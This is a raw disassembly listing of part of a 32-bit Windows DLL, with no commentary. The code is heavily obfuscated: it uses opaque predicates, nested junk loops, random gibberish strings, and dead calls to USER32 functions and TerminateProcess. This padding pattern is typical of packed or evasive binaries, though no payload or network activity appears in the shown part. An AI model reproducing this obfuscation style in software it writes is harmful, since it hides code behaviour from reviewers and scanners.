mov dword [ebp + eax*4 - 0x2e8], 0x39f4802d
jmp 0x10027a63
mov byte [ebp - 4], 0x1c
cmp dword [ebp - 0x70c], 0x868
jge 0x10027aac
mov edx, dword [ebp - 0xd8c]
mov ecx, 0x100792f8
call fcn.1000c8f5
jmp 0x10027ac8
mov dword [ebp - 4], 0x1b
jmp 0x10027ad8
mov dword [ebp - 0xa8], 0
jmp 0x10027af1
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 3
jge 0x10027b13
push dword [ebp - 0xa8]
lea ecx, [ebp - 0xf68]
call fcn.1000a7a3
mov dword [eax], 0x99369e1d
jmp 0x10027ae4
mov eax, dword [ebp - 0x71c]
mov dword [ebp - 0xeb8], eax
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0xec0], eax
mov eax, 0x56cd219f
test eax, eax
je 0x10027b45
xor eax, eax
inc eax
je 0x10027b45
mov dword [ebp - 0x8d4], 1
jmp 0x10027b4c
and dword [ebp - 0x8d4], 0
mov eax, dword [ebp - 0xa80]
cmp dword [ebp - 0x8d4], eax
jl 0x10027b66
mov dword [ebp - 0x714], 1
jmp 0x10027b6d
and dword [ebp - 0x714], 0
mov eax, dword [ebp - 0x714]
add eax, 0xaafa
je 0x10027b8a
xor eax, eax
je 0x10027b8a
mov dword [ebp - 0xa30], 1
jmp 0x10027b91
and dword [ebp - 0xa30], 0
mov eax, dword [ebp - 0x170]
cmp eax, dword [ebp - 0xa30]
jl 0x10027bab
mov dword [ebp - 0xb78], 1
jmp 0x10027bb2
and dword [ebp - 0xb78], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x2e8]
sub ecx, dword [ebp + eax - 0x2e8]
cmp ecx, dword [ebp - 0x71c]
jl 0x10027be0
mov dword [ebp - 0x8dc], 1
jmp 0x10027be7
and dword [ebp - 0x8dc], 0
cmp dword [ebp - 0x8dc], 0x45be
jg 0x10027bff
mov dword [ebp - 0x724], 1
jmp 0x10027c06
and dword [ebp - 0x724], 0
cmp dword [ebp - 0x724], 0x2aeafd71
jle 0x10027c1e
mov dword [ebp - 0x9bc], 1
jmp 0x10027c25
and dword [ebp - 0x9bc], 0
cmp dword [ebp - 0x9bc], 0x1b870004
jg 0x10027c3d
mov dword [ebp - 0x72c], 1
jmp 0x10027c44
and dword [ebp - 0x72c], 0
mov eax, dword [ebp - 0x72c]
mov dword [ebp - 0x8e4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x8e4]
add ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp + eax - 0x2e8]
jne 0x10027c74
mov dword [ebp - 0x734], 1
jmp 0x10027c7b
and dword [ebp - 0x734], 0
mov eax, dword [ebp - 0x170]
cmp dword [ebp - 0x734], eax
jl 0x10027c95
mov dword [ebp - 0xcd8], 1
jmp 0x10027c9c
and dword [ebp - 0xcd8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2e8]
mov dword [ebp - 0xec8], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xa80], eax
mov eax, dword [ebp - 0x73c]
inc eax
mov dword [ebp - 0x73c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf68]
call fcn.1000a787
jmp 0x100277d7
mov dword [ebp - 0x14], 0xd509978f
push 3
lea ecx, [ebp - 0x4a4]
call fcn.1000a704
mov dword [ebp - 4], 0x1e
push 3
lea ecx, [ebp - 0xd7c]
call fcn.1000a704
mov byte [ebp - 4], 0x1f
mov dword [ebp - 0xb90], 0xf32215f8
mov dword [ebp - 0x10c], 0xae264689
mov dword [ebp - 0x9f4], 0xc33490c
mov dword [ebp - 0x90], 0
jmp 0x10027d3c
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 3
jge 0x10027d5e
push dword [ebp - 0x90]
lea ecx, [ebp - 0x4a4]
call fcn.1000a7a3
mov dword [eax], 0x4207647f
jmp 0x10027d2f
mov dword [ebp - 0x90], 0
jmp 0x10027d77
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 3
jge 0x10027d99
push dword [ebp - 0x90]
lea ecx, [ebp - 0xd7c]
call fcn.1000a7a3
mov dword [eax], 0xfffffff8
jmp 0x10027d6a
cmp dword [ebp - 0x14], 0
je 0x10027db4
mov eax, 0xfffe
test eax, eax
je 0x10027db4
mov dword [ebp - 0x8ec], 1
jmp 0x10027dbb
and dword [ebp - 0x8ec], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x8ec], eax
jle 0x10027dd2
mov dword [ebp - 0x74c], 1
jmp 0x10027dd9
and dword [ebp - 0x74c], 0
cmp dword [ebp - 0x14], 0
jne 0x10027de4
xor eax, eax
inc eax
je 0x10027df6
cmp dword [ebp - 0x14], 0
je 0x10027df6
mov dword [ebp - 0x744], 1
jmp 0x10027dfd
and dword [ebp - 0x744], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x744], eax
jle 0x10027e14
mov dword [ebp - 0x9c4], 1
jmp 0x10027e1b
and dword [ebp - 0x9c4], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x9c4], eax
jl 0x10027e32
mov dword [ebp - 0x8f4], 1
jmp 0x10027e39
and dword [ebp - 0x8f4], 0
mov eax, dword [ebp - 0x74c]
add eax, 0x22124f84
cmp eax, dword [ebp - 0x8f4]
jge 0x10027e58
mov dword [ebp - 0x754], 1
jmp 0x10027e5f
and dword [ebp - 0x754], 0
mov eax, dword [ebp - 0x754]
neg eax
cmp eax, 0xd870a326
jae 0x100281ee
mov dword [ebp - 0x104], 1
mov dword [ebp - 0x794], 0xa81ffde6
mov dword [ebp - 0xa0], 0
jmp 0x10027e9f
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 4
jge 0x10027ebb
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x10b4], 1
jmp 0x10027e92
mov dword [ebp - 0xa0], 0
jmp 0x10027ed4
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 4
jge 0x10027ef0
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x10d4], 0x7bb34e4a
jmp 0x10027ec7
mov dword [ebp - 0x14], 0
jmp 0x10027f00
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jg 0x10027ff8
mov dword [ebp - 0xd38], 0x2d50c857
push 1
lea ecx, [ebp - 0x4a4]
call fcn.1000a7a3
push 2
lea ecx, [ebp - 0x4a4]
call fcn.1000a7a3
mov esi, dword [ebp - 0x104]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x4a4]
call fcn.1000a7a3
cmp esi, dword [eax]
jg 0x10027f52
mov dword [ebp - 0xa38], 1
jmp 0x10027f59
and dword [ebp - 0xa38], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x4a4]
call fcn.1000a7a3
mov eax, dword [eax]
cmp eax, dword [ebp - 0xa38]
jl 0x10027f77
cmp dword [ebp - 0x14], 0
jne 0x10027f84
push 2
lea ecx, [ebp - 0xd7c]
call fcn.1000a7a3
push dword [ebp - 0x14]
lea ecx, [ebp - 0x4a4]
call fcn.1000a7a3
cmp dword [eax], 0
jb 0x10027fa3
mov dword [ebp - 0xb84], 1
jmp 0x10027faa
and dword [ebp - 0xb84], 0
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0xed0], eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x4a4]
call fcn.1000a7a3
mov dword [eax], 0xfffffff8
mov eax, 0xe713e19f
cmp eax, 0xfffffff8
jae 0x10027fe0
mov dword [ebp - 0x75c], 1
jmp 0x10027fe7
and dword [ebp - 0x75c], 0
mov eax, dword [ebp - 0x75c]
mov dword [ebp - 0xd38], eax
jmp 0x10027ef9
cmp dword [ebp - 0x104], 0xffffffff
jl 0x1002800d
mov dword [ebp - 0x8fc], 1
jmp 0x10028014
and dword [ebp - 0x8fc], 0
push 2
lea ecx, [ebp - 0xd7c]
call fcn.1000a7a3
mov ecx, dword [ebp - 0x8fc]
cmp ecx, dword [eax]
jg 0x10028037
mov dword [ebp - 0x764], 1
jmp 0x1002803e
and dword [ebp - 0x764], 0
cmp dword [ebp - 0x764], 0x39b3
jge 0x10028056
mov dword [ebp - 0x9cc], 1
jmp 0x1002805d
and dword [ebp - 0x9cc], 0
mov eax, dword [ebp - 0xb90]
cmp dword [ebp - 0x9cc], eax
je 0x10028077
mov dword [ebp - 0x76c], 1
jmp 0x1002807e
and dword [ebp - 0x76c], 0
mov eax, dword [ebp - 0x104]
cmp eax, dword [ebp - 0x76c]
jle 0x10028098
mov dword [ebp - 0x904], 1
jmp 0x1002809f
and dword [ebp - 0x904], 0
mov eax, dword [ebp - 0x104]
cmp dword [ebp - 0x904], eax
jne 0x100280b9
mov dword [ebp - 0x774], 1
jmp 0x100280c0
and dword [ebp - 0x774], 0
mov eax, dword [ebp - 0x774]
sub eax, dword [ebp - 0x104]
mov dword [ebp - 0x9f0], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x9f0]
mov dword [ebp + eax - 0x10b4], ecx
cmp dword [ebp - 0x9f0], 0xfe54
je 0x100280fc
mov dword [ebp - 0x77c], 1
jmp 0x10028103
and dword [ebp - 0x77c], 0
push 1
lea ecx, [ebp - 0x4a4]
call fcn.1000a7a3
mov ecx, dword [ebp - 0x77c]
cmp ecx, dword [eax]
jne 0x10028126
mov dword [ebp - 0x90c], 1
jmp 0x1002812d
and dword [ebp - 0x90c], 0
push 2
lea ecx, [ebp - 0xd7c]
call fcn.1000a7a3
mov ecx, dword [ebp - 0x90c]
cmp ecx, dword [eax]
jg 0x10028150
mov dword [ebp - 0x784], 1
jmp 0x10028157
and dword [ebp - 0x784], 0
cmp dword [ebp - 0x784], 9
je 0x1002816c
mov dword [ebp - 0x9d4], 1
jmp 0x10028173
and dword [ebp - 0x9d4], 0
mov eax, dword [ebp - 0x104]
cmp eax, dword [ebp - 0x9d4]
jge 0x1002818d
mov dword [ebp - 0x78c], 1
jmp 0x10028194
and dword [ebp - 0x78c], 0
mov eax, dword [ebp - 0x78c]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0x2213
jge 0x100281b8
mov dword [ebp - 0x914], 1
jmp 0x100281bf
and dword [ebp - 0x914], 0
mov eax, dword [ebp - 0x914]
mov dword [ebp - 0x794], eax
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x9f4], eax
mov eax, dword [ebp - 0x9f4]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x10d4], eax
jmp 0x10028359
mov dword [ebp - 0x91c], 0
mov dword [ebp - 0x14], 0xb
jmp 0x10028208
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xfffffffd
jg 0x1002834c
mov dword [ebp - 0x10c], 2
jmp 0x1002822b
mov eax, dword [ebp - 0x10c]
dec eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jl 0x10028347
mov dword [ebp - 0x4d4], 0x1e29
mov dword [ebp - 0xce0], str.mckrcch_xlbqkuu_vwaejx_vot_dkwtzk_kijzpwkbm_zmpj_vmpqze_lznqqtnn_xzlpl_vkkwp_jfos_fwybsai
cmp dword [ebp - 0x4d4], 0x21cd
jle 0x100282de
and dword [ebp - 0x3b8], 0
jmp 0x10028272
mov eax, dword [ebp - 0x3b8]
inc eax
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 0x4923
jge 0x100282d3
and dword [ebp - 0x2f0], 0
jmp 0x10028294
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 0x155f
jge 0x100282d1
mov eax, dword [ebp - 0x3b8]
add eax, dword [ebp - 0x2f0]
cdq
mov dword [ebp - 0xbf8], eax
mov dword [ebp - 0xbf4], edx
push dword [ebp - 0xbf4]
push dword [ebp - 0xbf8]
mov ecx, 0x100792f8
call fcn.1000a4ec
jmp 0x10028287
jmp 0x10028265
push 0xd23
call dword [sym.imp.USER32.dll_GetQueueStatus]
push dword [ebp - 0x10c]
lea ecx, [ebp - 0x4a4]
call fcn.1000a7a3
cmp dword [eax], 0
je 0x100282f6
jmp 0x10028347
mov byte [ebp - 4], 0x20
cmp dword [ebp - 0x4d4], 0x1c3b
jge 0x10028316
mov edx, dword [ebp - 0xce0]
mov ecx, 0x100792f8
call fcn.1000c8f5
jmp 0x10028332
mov dword [ebp - 4], 0x1f
jmp 0x10028342
jmp 0x1002821e
jmp 0x10028201
mov eax, dword [ebp - 0x91c]
dec eax
mov dword [ebp - 0x91c], eax
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0xd7c]
call fcn.1000a787
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4a4]
call fcn.1000a787
mov byte [ebp - 0x200], 0xc
mov byte [ebp - 0x1ff], 0xce
mov byte [ebp - 0x1fe], 3
mov byte [ebp - 0x1fd], 0x23
mov byte [ebp - 0x1fc], 2
mov byte [ebp - 0x1fb], 0x24
mov byte [ebp - 0x1fa], 5
mov byte [ebp - 0x1f9], 0x1b
mov byte [ebp - 0x1f8], 6
mov byte [ebp - 0x1f7], 0xc
mov byte [ebp - 0x1f6], 8
mov byte [ebp - 0x1f5], 7
mov byte [ebp - 0x1f4], 0xb
mov byte [ebp - 0x1f3], 1
mov byte [ebp - 0x1f2], 7
mov byte [ebp - 0x1f1], 0x24
mov byte [ebp - 0x1f0], 0
mov byte [ebp - 0x1ef], 6
mov byte [ebp - 0x1ee], 9
mov byte [ebp - 0x1ed], 0x23
mov byte [ebp - 0x1ec], 0xd
mov byte [ebp - 0x1eb], 0x17
mov byte [ebp - 0x1ea], 4
mov byte [ebp - 0x1e9], 1
mov byte [ebp - 0x1e8], 0xa
mov byte [ebp - 0x1e7], 0
mov byte [ebp - 0x1e6], 3
mov byte [ebp - 0x1e5], 0xab
mov byte [ebp - 0x1e4], 0xa2
mov byte [ebp - 0x1e3], 0x6d
mov byte [ebp - 0x1e2], 1
mov byte [ebp - 0x1e1], 0x17
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x200]
and eax, 0xbd
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x200]
or ecx, 0xbd
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x200]
mov byte [ebp + eax - 0xdac], cl
mov dword [ebp - 0x60], 0x6b95
mov dword [ebp - 0x48], 0xef9d7865
push 2
lea ecx, [ebp - 0xf78]
call fcn.1000a704
mov dword [ebp - 4], 0x22
push 2
lea ecx, [ebp - 0xa64]
call fcn.1000a704
mov byte [ebp - 4], 0x23
mov dword [ebp - 0x308], 0xc8a81d5f
mov dword [ebp - 0x9ec], 0x7232
mov dword [ebp - 0xba8], 0x9dba5c12
mov dword [ebp - 0xce8], 0xfffffff7
mov dword [ebp - 0x98], 0
jmp 0x10028509
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 2
jge 0x1002852b
push dword [ebp - 0x98]
lea ecx, [ebp - 0xf78]
call fcn.1000a7a3
mov dword [eax], 5
jmp 0x100284fc
mov dword [ebp - 0x98], 0
jmp 0x10028544
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 2
jge 0x10028566
push dword [ebp - 0x98]
lea ecx, [ebp - 0xa64]
call fcn.1000a7a3
mov dword [eax], 0xf379
jmp 0x10028537
push 7
pop eax
test eax, eax
je 0x10028586
mov dword [ebp - 0x48], 0xfffffffe
cmp dword [ebp - 0x48], 0
je 0x10028586
mov dword [ebp - 0x7a4], 1
jmp 0x1002858d
and dword [ebp - 0x7a4], 0
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x7a4]
jg 0x100285a4
mov dword [ebp - 0xb9c], 1
jmp 0x100285ab
and dword [ebp - 0xb9c], 0
cmp dword [ebp - 0x48], 0
jge 0x100285bd
mov dword [ebp - 0x9e0], 1
jmp 0x100285c4
and dword [ebp - 0x9e0], 0
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x9e0], eax
jge 0x100285db
mov dword [ebp - 0x7ac], 1
jmp 0x100285e2
and dword [ebp - 0x7ac], 0
cmp dword [ebp - 0x7ac], 0x98ab5457
jae 0x100285fa
mov dword [ebp - 0x924], 1
jmp 0x10028601
and dword [ebp - 0x924], 0
mov eax, dword [ebp - 0x924]
sub eax, 0x12af048
jne 0x1002861d
cmp dword [ebp - 0x48], 0
jne 0x1002861d
and dword [ebp - 0x7b4], 0
jmp 0x10028627
mov dword [ebp - 0x7b4], 1
cmp dword [ebp - 0x7b4], 0
je 0x1002898b
cmp dword [ebp - 0x60], 0
je 0x1002898b
mov dword [ebp - 0x7d4], 0x2d3650df
mov dword [ebp - 0x9fc], 0x4ebd
mov dword [ebp - 0xd70], str.dfxsu_gsyunj_zavl_lddykru_fyppadonq_bjxsv_zorgfxqyr_cqlzohdyg
cmp dword [ebp - 0x9fc], 0x5209
jle 0x10028751
push 0
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
and dword [ebp - 0x378], 0
jmp 0x1002868c
mov eax, dword [ebp - 0x378]
inc eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 0x6739
jge 0x10028751
and dword [ebp - 0x2f8], 0
jmp 0x100286b2
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0x144e
jge 0x1002874c
and dword [ebp - 0x3f8], 0
jmp 0x100286d8
mov eax, dword [ebp - 0x3f8]
inc eax
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0x3485
jge 0x10028747
and dword [ebp - 0x300], 0
jmp 0x100286fa
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 0x5f69
jge 0x10028745
mov eax, dword [ebp - 0x378]
mov ecx, dword [ebp - 0x2f8]
sar eax, cl
and eax, dword [ebp - 0x3f8]
or eax, dword [ebp - 0x300]
cdq
mov dword [ebp - 0xc04], eax
mov dword [ebp - 0xc00], edx
push dword [ebp - 0xc00]
push dword [ebp - 0xc04]
mov ecx, 0x100792f8
call fcn.1000a4ec
jmp 0x100286ed
jmp 0x100286cb
jmp 0x100286a5
jmp 0x1002867f
mov dword [ebp - 0x494], 0x9ae65c34
mov byte [ebp - 4], 0x24
cmp dword [ebp - 0x9fc], 0x4d59
jge 0x1002877b
mov edx, dword [ebp - 0xd70]
mov ecx, 0x100792f8
call fcn.1000c8f5
jmp 0x10028797
mov dword [ebp - 4], 0x23
jmp 0x100287a7
mov dword [ebp - 0x414], 0x417f95e1
mov dword [ebp - 0x380], 0
jmp 0x100287ca
mov eax, dword [ebp - 0x380]
inc eax
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 2
jge 0x100287e6
mov eax, dword [ebp - 0x380]
mov dword [ebp + eax*4 - 0xf90], 0xb4322e7c
jmp 0x100287bd
mov dword [ebp - 0x60], 4
jmp 0x100287f6
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x35
jge 0x1002884a
mov dword [ebp - 0x48], 0
jmp 0x1002880c
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 1
jg 0x10028848
mov dword [ebp - 0x7bc], 0x2985
mov byte [ebp - 0x135], 0
movzx eax, byte [ebp - 0x135]
test eax, eax
je 0x10028839
push 0x1527
call dword [sym.imp.USER32.dll_GetDC]
mov eax, dword [ebp - 0x7bc]
inc eax
mov dword [ebp - 0x7bc], eax
jmp 0x10028805
jmp 0x100287ef
push 0
lea ecx, [ebp - 0xa64]
call fcn.1000a7a3
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jne 0x1002886e
mov dword [ebp - 0x7cc], 1
jmp 0x10028875
and dword [ebp - 0x7cc], 0
mov dword [ebp - 0x308], 0xfffffffc
mov dword [ebp - 0x414], 0xfffffff9
mov eax, dword [ebp - 0x308]
cmp eax, dword [ebp - 0x414]
jl 0x100288a3
mov dword [ebp - 0x92c], 1
jmp 0x100288aa
and dword [ebp - 0x92c], 0
mov eax, dword [ebp - 0x494]
cmp eax, dword [ebp - 0x92c]
jg 0x100288c4
mov dword [ebp - 0x7c4], 1
jmp 0x100288cb
and dword [ebp - 0x7c4], 0
mov eax, dword [ebp - 0x7c4]
mov dword [ebp - 0x9ec], eax
mov eax, dword [ebp - 0x9ec]
mov dword [ebp - 0xed8], eax
push 0
lea ecx, [ebp - 0xa64]
call fcn.1000a7a3
cmp dword [ebp - 0xba8], 0
je 0x1002890e
cmp dword [ebp - 0x414], 0
je 0x1002890e
mov dword [ebp - 0x934], 1
jmp 0x10028915
and dword [ebp - 0x934], 0
mov eax, dword [ebp - 0x7cc]
mov dword [ebp - 0x7d4], eax
mov eax, dword [ebp - 0x934]
mov dword [ebp - 0x494], eax
mov eax, dword [ebp - 0x7d4]
cmp eax, dword [ebp - 0x494]
je 0x10028947
mov dword [ebp - 0xa04], 1
jmp 0x1002894e
and dword [ebp - 0xa04], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xf90]
cmp dword [ebp - 0xa04], eax
jl 0x10028973
xor eax, eax
je 0x10028973
mov dword [ebp - 0x7dc], 1
jmp 0x1002897a
and dword [ebp - 0x7dc], 0
mov eax, dword [ebp - 0x7dc]
mov dword [ebp - 0xce8], eax
jmp 0x10028ab3
mov dword [ebp - 0x64], 0x6bac609e
mov dword [ebp - 0x41c], 0x573c098b
push 0
lea ecx, [ebp - 0xa64]
call fcn.1000a7a3
cmp dword [eax], 0
je 0x10028a7c
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0xee0], eax
mov eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0x60]
jne 0x100289cf
mov dword [ebp - 0x93c], 1
jmp 0x100289d6
and dword [ebp - 0x93c], 0
mov eax, dword [ebp - 0x93c]
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x41c]
mov dword [ebp - 0xee8], eax
push 0
lea ecx, [ebp - 0xa64]
call fcn.1000a7a3
push 0
lea ecx, [ebp - 0xa64]
call fcn.1000a7a3
mov eax, dword [eax]
mov dword [ebp - 0x308], eax
mov eax, dword [ebp - 0x308]
mov dword [ebp - 0xef0], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0xef8], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xf00], eax
mov esi, dword [ebp - 0x64]
push 1
lea ecx, [ebp - 0xa64]
call fcn.1000a7a3
sub esi, dword [eax]
cmp esi, 9
je 0x10028a5a
cmp dword [ebp - 0x41c], 0
je 0x10028a5a
mov dword [ebp - 0x7e4], 1
jmp 0x10028a61
and dword [ebp - 0x7e4], 0
mov eax, dword [ebp - 0x64]
imul eax, dword [ebp - 0x7e4]
sub eax, dword [ebp - 0x64]
je 0x10028a7c
mov dword [ebp - 0xa0c], 1
jmp 0x10028a83
and dword [ebp - 0xa0c], 0
mov eax, dword [ebp - 0x64]
imul eax, dword [ebp - 0xa0c]
cmp eax, dword [ebp - 0x64]
jle 0x10028a9e
mov dword [ebp - 0x7ec], 1
jmp 0x10028aa5
and dword [ebp - 0x7ec], 0
mov eax, dword [ebp - 0x7ec]
sub eax, 0x7019
mov dword [ebp - 0x64], eax
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0xa64]
call fcn.1000a787
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf78]
call fcn.1000a787
mov dword [ebp - 0x24], 2
and dword [ebp - 0x25c], 0
jmp 0x10028ae9
mov eax, dword [ebp - 0x24]
inc eax
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x20
jae 0x100294b0
mov dword [ebp - 0x80c], 0x5a3d
mov dword [ebp - 0xbcc], str.tulmvkh_ffs_pcqbtv_gknuzgm_qsvsdf_odhp_ggle_dzzjd_esejgi_zbvby_wbodpskqi
cmp dword [ebp - 0x80c], 0x5afa
jle 0x10028bbd
and dword [ebp - 0x3c0], 0
jmp 0x10028b2d
mov eax, dword [ebp - 0x3c0]
inc eax
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 0x6cac
jge 0x10028bbd
and dword [ebp - 0x310], 0
jmp 0x10028b53
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0x12ee
jge 0x10028bb8
mov eax, dword [ebp - 0x3c0]
mov ecx, dword [ebp - 0x310]
shl eax, cl
cdq
mov dword [ebp - 0xc10], eax
mov dword [ebp - 0xc0c], edx
push dword [ebp - 0xc0c]
push dword [ebp - 0xc10]
lea ecx, [ebp - 0x118c]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0xbb4], eax
mov ecx, dword [ebp - 0xbb4]
call fcn.1000a45e
push eax
call fcn.10046acc
pop ecx
lea ecx, [ebp - 0x118c]
call fcn.1000a440
jmp 0x10028b46
jmp 0x10028b20
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x200]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x24], eax
jne 0x10028f59
push 2
lea ecx, [ebp - 0xe40]
call fcn.1000a704
mov dword [ebp - 4], 0x26
mov dword [ebp - 0xcc], 0x1c29000d
mov dword [ebp - 0x6c], 0
jmp 0x10028c06
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 2
jge 0x10028c22
push dword [ebp - 0x6c]
lea ecx, [ebp - 0xe40]
call fcn.1000a7a3
mov dword [eax], 0x13b91020
jmp 0x10028bff
mov dword [ebp - 0x6c], 0
jmp 0x10028c32
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 2
jge 0x10028c48
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0xc28], 0x76d7be7e
jmp 0x10028c2b
mov dword [ebp - 0xcc], 0
jmp 0x10028c61
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 1
jg 0x10028f1e
mov dword [ebp - 0x114], 0
mov dword [ebp - 0xbc0], 0x30b91300
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc28]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xc28], eax
mov dword [ebp - 0xa48], 0x3a0f
mov dword [ebp - 0xcf0], str.bfmfo_tsk_ckjgcfo_urgj_johidtg_abudnic_edvjmhat_zxf_kpxgivum_ujnkrfqxw_rufikyco_ksu_mdlnyjjt_zjmwevfjq
cmp dword [ebp - 0xa48], 0x3c26
jle 0x10028d6d
and dword [ebp - 0x388], 0
jmp 0x10028cd7
mov eax, dword [ebp - 0x388]
inc eax
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 0xd05
jge 0x10028d6d
and dword [ebp - 0x318], 0
jmp 0x10028cfd
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0x1a08
jge 0x10028d68
and dword [ebp - 0x3e0], 0
jmp 0x10028d1f
mov eax, dword [ebp - 0x3e0]
inc eax
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 0x406f
jge 0x10028d66
mov eax, dword [ebp - 0x388]
mov ecx, dword [ebp - 0x318]
shl eax, cl
mov ecx, dword [ebp - 0x3e0]
shl eax, cl
cdq
mov dword [ebp - 0xc1c], eax
mov dword [ebp - 0xc18], edx
push dword [ebp - 0xc18]
push dword [ebp - 0xc1c]
mov ecx, 0x100792f8
call fcn.1000a4ec
jmp 0x10028d12
jmp 0x10028cf0
jmp 0x10028cca
mov dword [ebp - 0x114], 1
jmp 0x10028d86
mov eax, dword [ebp - 0x114]
dec eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
jl 0x10028ecd
mov dword [ebp - 0x9f8], 0xffffffff
mov byte [ebp - 0xed], 0
movzx eax, byte [ebp - 0xed]
test eax, eax
je 0x10028dbc
push 0x9a6
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x114]
sub ecx, dword [ebp - 0x114]
add ecx, dword [ebp + eax - 0xc28]
jne 0x10028de9
cmp dword [ebp - 0x9f8], 0
jne 0x10028de9
and dword [ebp - 0xd40], 0
jmp 0x10028df3
mov dword [ebp - 0xd40], 1
push 1
lea ecx, [ebp - 0xe40]
call fcn.1000a7a3
cmp dword [eax], 0xfc353271
jne 0x10028e14
mov dword [ebp - 0x944], 1
jmp 0x10028e1b
and dword [ebp - 0x944], 0
mov eax, dword [ebp - 0xcc]
add eax, dword [ebp - 0x944]
cmp eax, dword [ebp - 0xcc]
jl 0x10028e44
cmp dword [ebp - 0xcc], 0
je 0x10028e44
mov dword [ebp - 0x7f4], 1
jmp 0x10028e4b
and dword [ebp - 0x7f4], 0
cmp dword [ebp - 0x7f4], 0x6522
je 0x10028e5e
push 0xfffffffffffffffc
pop eax
